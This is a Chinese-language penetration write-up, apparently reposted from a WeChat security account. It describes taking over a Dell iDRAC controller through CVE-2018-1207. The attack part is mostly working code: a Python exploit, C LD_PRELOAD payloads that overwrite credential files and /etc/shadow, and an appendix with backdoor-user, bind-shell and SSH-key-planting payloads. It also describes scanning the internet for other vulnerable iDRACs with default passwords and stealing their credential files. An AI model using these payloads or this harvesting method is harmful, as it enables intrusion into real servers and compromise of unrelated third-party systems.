本文作者:wolvez
0x01 前置知识
1.1 背景
攻防项目中发现 DELL IDRAC 设备,一旦控制了iDRAC权限,就可以同时控制由iDRAC控制的系统。本文将重点介绍获取该系统权限过程,以及遇到的问题解决方法。
1.2 IDRAC介绍
BMC(Baseboard Management Controller)为主板管理控制器。它是一种硬件设备或嵌入式系统,通常位于计算机主板上,用于监控、管理和维护计算机系统的硬件和软件。他本质上使用传感器来与设备进行通信,允许对被控机器进行完全控制(例如KVM)。这样可以通过远程访问BMC,然后重新配置主机,更改BIOS设置,或者刷新受控设备的固件。
不同供应商的服务器和主板可能会配备不同类型的 BMC,例如,HP 的 iLO、华为的MGMT、Dell 的 iDRAC、浪潮的IPMI 等,都是 BMC 的具体实现。
BMC通常被实现为嵌入式系统,芯片外围会配置自己的RAM、Flash等器件,插电BMC就会快速运行起来。
BMC是一个独立的系统,不依赖与系统上的其他硬件(比如CPU、内存等等),也不依赖BIOS、OS等。但BMC可以与BIOS和OS交互,一般大规模的数据中心会有OS系统管理软件与BMC协同工作实现集中管理的工作。
1.3 常见带外管理通信接口
带外管理系统,是指远程客户端与服务器BMC通信,对服务器进行控制管理和维护。常见的带外管理接口有 IPMI 和 Redfish。
1.3.1 SMASH
SMASH是一种DTMF标准化的命令行,通过SSH运行,大多数攻击面都是认证后的。可通过一些产品的默认账号密码登录。
1.3.2 SNMP
SNMP是专门设计用于在IP网络管理网络节点(服务器、工作站、路由器、交换机及Hubs等)的一种标准协议。
$ snmpwalk -v1 -c public -m "./immalert.mib" 192.168.1.129
| | | | |
| | | | |------> 目标IP
| | | |------> 指定MIB文件,包含了用于解释和查询SNMP数据的信息
| | |------> community字符public,用于只读访问
| |------> SNMP版本v1
|------> 执行SNMP Walk操作,从设备上获取关于其管理信息的数据
通过执行snmpwalk,返回一些管理数据或命令,或许可以从中找到一些可控的命令注入。
1.3.3 IPMI
IPMI是BMC相关协议,用于远程管理BMC和访问大部分功能,包括UDP串行控制台。
历史问题:
·Cipher Zero认证绕过
·RAKP认证崩溃
·弱Session ID
0x02 iDRAC 渗透过程
2.1 web端默认口令尝试
通过搜索引擎得知 DELL IDRAC 设备默认管理账目密码为:
root:calvin
尝试登陆发现登陆失败
2.2 CVE-2018-1207 漏洞尝试
1.漏洞原理:
Environment Variable Injection leads to RCE – iDRAC 8
该漏洞是iDRAC上对环境变量处理不当导致的RCE。
/cgi-bin/discover?LD_PRELOAD=xxx 允许设置环境变量,写入任意动态链接库并加载
/cgi-bin/putfile CGI允许未授权用户在文件/tmp/sshpkauthupload.tmp中存储任意内容,限128KB。
exploit 实现步骤
POST /cgi-bin/putfile 上传任意文件内容
POST /cgi-bin/discover?LD_PRELOAD=/tmp/sshpkauthupload.tmp 作为环境变量加载
1.本地机器安装漏洞利用所需编译环境
安装 SuperH 4(SH-4)架构的 GNU Compiler Collection(GCC)编译器 apt-get install gcc-11-sh4-linux-gnu
漏洞Exp地址: https://github.com/grigorescu/dracly/tree/main/cve_2018_2017
编译及发送payload:
sh4-linux-gnu-gcc-11 -shared -fPIC ./readfile.c -o ./payload.so ; python3 cve_2018_2017.py 10.1.1.1 443
稍作修改:
import requests
import sys
import re
import struct
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
try:
host = sys.argv[1]
port = sys.argv[2]
except IndexError:
print("Usage: python ./CVE-2018-1207.py
print(" python ./CVE-2018-1207.py 192.168.1.10 443")
exit()
url = f"https://{host}:{port}"
proxy_url = "http://127.0.0.1:8083"
login_url = f"{url}/cgi-bin/login?LD_DEBUG=files"
payloadbin = 'payload.so'
FFLAGS = 1
f = open(payloadbin, 'rb')
payload_so = f.read()
f.close()
f_alias = 'RACPKSSHAUTHKEY1'
res = bytes((f_alias + (32 - len(f_alias)) * ' '),'utf-8')
res += struct.pack('
res += struct.pack('
res += payload_so
print ("Upload payload")
# Upload payload.so
putfile_url = f"{url}/cgi-bin/putfile"
response = requests.post(putfile_url, data=res, proxies={"https": proxy_url}, verify=False)
if response.status_code == 200:
print("[+] OK")
else:
print("Failed upload Payload")
exit()
# LD_PRELOAD
discover_url = f"{url}/cgi-bin/discover?LD_PRELOAD=/tmp/sshpkauthupload.tmp"
response = requests.get(discover_url, proxies={"https": proxy_url}, verify=False)
print("Shell started. Good luck!")
2.3 遇到的问题
以下所有操作都是通过c 语言 api操作
·反弹shell => 失败
·正向shell => 失败
·使用多种api执行命令 => 失败(触发敏感操作会卡很久,服务器拒绝连接,疑似安全设备阻拦)
·写入新文件 => 成功
·修改文件 => 成功
·列文件 => 成功
·SSH 服务 => 开启
·Telnet 服务=> 未开启
·VNC 服务=> 未开启
基于以上环境情况要获取shell权限有以下思路:
·通过修改/etc/passwd 文件来新增用户 = >修改成功但,未能登陆 (参考脏牛漏洞)
·读取/etc/shadow 文件破解hash => 读取成功,且破解出user1 hash(默认口令) ,未能破解出root hash ,使用user1登陆失败
·通过修改 /etc/shadow 文件修改root用户密码 => 修改成功,但登陆失败
·写入计划任务文件/var/spool/cron/root 突破命令执行=>写入失败,原因未知 (参考redies 写计划任务getshell)
·写入公钥 /root/.ssh/authorized_keys => 写入失败 (原因后面有分析)
2.4 解决过程及问题分析复盘
·查看相关资料发现IDRAC /etc/passwd && /etc/shadow 仅用作登陆后su 使用,及配置用户登陆相关环境
·ssh及web登陆认证保存位置 /flash/data0/cv/avctpasswd
/lib/security/pam_local_manager.so库使用其他库(libosi.so.1.2.3,libaim.so.1.2.3和libfnmgr-client.so.9.9.9)的函数来验证账户凭据,与glibc的通常函数getpwnam()和getspnam()无关。
最终,账户凭据存储在一个由/etc/init.d/credential-vault-13g.sh配置的凭据文件系统中。
该脚本将加密文件11挂载到/flash/13g-cv和/flash/data0/cv上。
iDRAC账户的凭据位于/flash/13g-cv/avctpasswd中,密码使用带盐的SHA256进行哈希处理。
最终思路如下:
备份并覆盖/flash/data0/cv/avctpasswd 文件中root 部分
翻阅资料: 字段 #15 是一个16字节长的盐,以十六进制编码表示。字段 #14 是将密码与盐连接后进行SHA256哈希处理的结果,同样以十六进制编码表示。
但是其它字段并不知道是什么含义,短时间无法自定义生成用户信息。
解决思路:找已知登陆密码的加密信息来替换目标加密
通过网络空间搜索引擎 查找使用相同应用的系统,基于找到的url筛选出存在漏洞且存在默认口令的系统
·product="DELL-Remote-Access-Controller" && country="CN" fofa语法
·查找有漏洞系统且默认口令系统:
# 漏洞探测
.httpx.exe -l .urls111.txt -path "/cgi-bin/login?LD_DEBUG=files" -sc -cl -ct -mc 503 -ms 'calling init:' -o dellhosts.txt -nc
## 注意二次筛选
## 涉及工具自行搜索
## 撞通用口令
.ffuf.exe -w .url222.txt -u FUZZ/data/login -d "user=root&password=calvin" -mr '
·利用CVE-2018-1207读取存在默认口令系统/flash/data0/cv/avctpasswd 文件
#include
#include
// The following line is a quick trick to get our function to run when this
// library is invoked with LD_PRELOAD
__attribute__ ((constructor)) int
main (void)
{
printf ("Content-Type: application/octet-streamnn");
int c;
//FILE *fptr = fopen ("/tmp/osbmcpt.txt", "r");
// /flash/data0/cv/avctpasswd
FILE *fptr = fopen ("/flash/data0/cv/avctpasswd", "r");
if (fptr == NULL)
printf ("Error: File could not be opened n");
else
{
while ((c = getc (fptr)) != EOF)
putchar (c);
fclose (fptr);
}
exit(0);
return 0;
}
sh4-linux-gnu-gcc-11 -shared -fPIC ./readfile.c -o ./payload.so ; python3 kk.py 10.1.1.1 443
·覆盖/flash/data0/cv/avctpasswd 并读取覆盖后的文件(先备份)
#include
#include
__attribute__ ((constructor)) int
main() {
printf ("Content-Type: text/plainnn");
FILE *file;
int c;
//修改 root calvin
char *data = "@:@:1:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"
"root:aJNffvqa4oDkv8BqR1He3YQmM1z2pqoL2sKfZ5kWVPA=:2:1:Administrator:/flash/data0/home/root:/bin/sh:0x1FF:1:946684814:1:0:0:074B54CA8CCF61C3B08EF692B7B34A6B5FB83CDB1BE618D218DFC25224044905:C7C7C7606D4CD42221A523E5F0DE59FE:1n"
"@:@:3:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"
"@:@:4:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"
"@:@:5:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"
"@:@:6:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"
"@:@:7:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"
"@:@:8:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"
"@:@:9:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"
"@:@:10:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"
"@:@:11:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"
"@:@:12:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"
"@:@:13:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"
"@:@:14:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"
"@:@:15:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"
"@:@:16:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n";
file = fopen("/flash/data0/cv/avctpasswd", "w+");
if (file == NULL) {
printf("Error: File could not be openedn");
return 1;
}
fprintf(file, "%s", data);
rewind(file);
while ((c = getc(file)) != EOF) {
putchar(c);
}
fclose(file);
printf("File written and read successfully.n");
return 0;
}
· 最终成功通过重写/flash/data0/cv/avctpasswd 实现将密码重置为默认密码(root:calvin),并成功登陆web管理
·登陆ssh
登陆后发现当前用户为racuser非特权用户
查看/etc/passwd 发现该用户使用受限shell 无法正常使用
·受限shell解决
将其shell 改为/bin/sh (使用最开始的CVE-2018-1207 漏洞)
#include
#include
__attribute__ ((constructor)) int
main() {
printf ("Content-Type: text/plainnn");
FILE *file;
char *data = "root:x:0:0:root:/:/bin/shn"
"user1:x:500:500:Linux User,,,:/:/bin/shn"
"racuser:x:1000:500:Linux User,,,:/tmp:/bin/shn"
"avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologinn"
"sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/bin/falsen"
"messagebus:x:999:997::/var/lib/dbus:/bin/falsen"
"_lldpd:x:1001:1001:Linux User,,,:/home/_lldpd:/bin/shn";
file = fopen("/etc/passwd", "w");
fprintf(file, "%s", data);
fclose(file);
printf("File written successfully.n");
return 0;
}
·提升权限
修改su 密码(使用最开始的CVE-2018-1207 漏洞):
## 生成对应的密码
openssl passwd -1 -salt fY6DG6Hu 'KingSoft@1123'
#include
#include
__attribute__ ((constructor)) int
main() {
printf ("Content-Type: text/plainnn");
FILE *file;
char *data = "root:$1$fY6DG6Hu$jgMzQNgynDd.wCrUsF4iz.:13502:0:99999:7:::n"
"user1:$1$nVOr80rB$HDAd6FRlG24k/WN4ZuYPC0:0:0:99999:7:::n"
"racuser:!:0:0:99999:7:::n"
"avahi:!!:15569::::::n"
"sshd:*:11880:0:99999:7:-1:-1:0n"
"messagebus:!:15873:0:99999:7:::n"
"_lldpd:!:16555:0:99999:7:::n";
file = fopen("/etc/shadow", "w");
fprintf(file, "%s", data);
fclose(file);
printf("File written successfully.n");
return 0;
}
ssh [email protected] 登陆密码:calvin
su 密码:KingSoft@1123
·获取最高权限
至此获取ssh权限、后台web权限、及vnc权限
上面运行着ESXI
未能写入/root/.ssh/authorized_keys 原因:
·目标目标环境中并不存在/root/ 目录,及.ssh子目录,且从/etc/passwd中得知 root home 目录是 / 根目录
·目标环境中/ 根目录为不可写目录
SSH 密码登陆失败原因:
查看sshd 配置文件 /etc/ssh/sshd_config 发现PasswordAuthentication 选项注释了,表示无法通过密码登陆,所以造成无法使用密码登陆
0x03 附录:
添加新管理员用户payload:
#include
#include
#define MAX_LENGTH 1000
// The following line is a quick trick to get our function to run when this
// library is invoked with LD_PRELOAD
__attribute__ ((constructor)) int
main (void)
{
printf ("Content-Type: text/plainnn");
FILE *file = fopen("/etc/passwd", "r+");
if (file == NULL) {
printf("无法打开文件n");
return 1;
}
char original[MAX_LENGTH];
char temp[MAX_LENGTH];
// kingsoft:KingSoft@1123
char newLine[] = "kingsoft:$1$RZcohyKC$82HGkdxbytBSmlVfurbwR0:0:0:root:/:/bin/shn";
// 读取原始内容
fgets(original, MAX_LENGTH, file);
// 将文件指针移回文件开头
rewind(file);
// 写入新内容
strcpy(temp, newLine);
strcat(temp, original);
fputs(temp, file);
fclose(file);
exit(0);
return 0;
}
列目录:
#include
#include
#include
// The following line is a quick trick to get our function to run when this
// library is invoked with LD_PRELOAD
__attribute__ ((constructor)) int main(void)
{
printf("Content-Type: text/plainnn");
DIR *dir;
struct dirent *entry;
dir = opendir("/");
printf("Files in /:n");
while ((entry = readdir(dir)) != NULL)
{
printf("%sn", entry->d_name);
}
closedir(dir);
return 0;
}
正向shell:
#include
#include
#include
#include
int host_sockid; // sockfd for host
int client_sockid;// sockfd for client
struct sockaddr_in hostaddr; // sockaddr struct
static int main(void) __attribute__((constructor));
static int main(void)
{
int pid = fork();
if(!pid) {
// Create socket
host_sockid = socket(PF_INET, SOCK_DGRAM, 0);
// Initialize sockaddr struct to bind socket using it
hostaddr.sin_family = AF_INET;
hostaddr.sin_port = htons(8845);
hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);
// Bind socket to IP/Port in sockaddr struct
bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));
// Receive data from client
char buffer[1024];
int len = sizeof(hostaddr);
recvfrom(host_sockid, buffer, sizeof(buffer), 0, (struct sockaddr*) &hostaddr, &len);
// Duplicate file descriptors for STDIN, STDOUT and STDERR
dup2(host_sockid, 0);
dup2(host_sockid, 1);
dup2(host_sockid, 2);
// Execute /bin/sh
execve("/bin/sh", NULL, NULL);
close(host_sockid);
return 0;
}
}
创建 authorized_keys:
#include
#include
#include
#include
__attribute__((constructor)) int main(void) {
uid_t uid = getuid();
struct passwd *pw = getpwuid(uid);
const char* homeDir;
if (pw == NULL) {
perror("Failed to get home directory");
return 1;
}
homeDir = pw->pw_dir;
// 创建.ssh目录
const char* sshDirectoryPath = "/.ssh";
char sshDirPath[256];
snprintf(sshDirPath, sizeof(sshDirPath), "%s%s", homeDir, sshDirectoryPath);
if (mkdir(sshDirPath, 0700) != 0) {
perror("Failed to create .ssh directory");
return 1;
}
// 写入公钥到authorized_keys文件
const char* publicKey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeuogG/lRwljzQY6sgVCl08RZQ6Oa52/aihKdZ2gUOCSBeZEb4AgIX1ABzRHgYoB5OS/OXPVSboJ+OHXd9VXypK+da965WkayjcUeuKuMwR5hvc0OigNS5+iePQr0poXLRGdWDHW13CzCdvrT6MODMPVr+yo0vpeVFPRoKT3DIJeiaaJZiT8bj0V94qdWRJlVvS2BGpsmRbPKWeVNG5VYXaTBNdZO9B/TKcbn18Qh3LgZZlujzsRuMcywitJ8Qpm3Rq4IOee5FAHJqsP8aa9ZgJqID9Gy7jpxHTy7cOq1mL8cdil6G7X6oABhBEZGHjaq9F7yihidxSxYN1bbmm2NoUdYgihLagRI2Kh0OJ1izxIaPYOydRzKd4PocUZL4ZQ+pVUilgqArDqAcKcdc6sM6PLAVdkwdImcELvX123JUV9RZB3NlNNVvoDMHfTxrUaCq8/0ivftJIYVWarQoDr4/WWu0hcjTVfMd0lqT/f01EEhEMNL6dUkvNjKl9km3d3RMQ3xpcNAkv/Vhm/5gilFKUqIPD+XXAPWZ4AYcKBg+OrFYkt+mU2Izc2AmCKR5/Vc+VZq7LBGOsukw58R2ouH49laDF5clV0HU803sakHVXkSB3OCLIwgl43d9KILls5TVUB4aufr+5DyWTztmG6M1uKqJ4c3e0nBewHPFXOO+kQ==";
const char* authorizedKeysFilePath = "/.ssh/authorized_keys";
char authorizedKeysPath[256];
snprintf(authorizedKeysPath, sizeof(authorizedKeysPath), "%s%s", homeDir, authorizedKeysFilePath);
FILE* authorizedKeysFile = fopen(authorizedKeysPath, "a");
if (authorizedKeysFile == NULL) {
perror("Failed to open authorized_keys file");
return 1;
}
if (fprintf(authorizedKeysFile, "%sn", publicKey) < 0) {
perror("Failed to write public key to authorized_keys file");
fclose(authorizedKeysFile);
return 1;
}
fclose(authorizedKeysFile);
return 0;
}
参考文章:https://ricardojoserf.github.io/Exploiting-iDRACs/
原文始发于微信公众号(中国白客联盟):一次艰难的getshell--iDRAC 系统渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论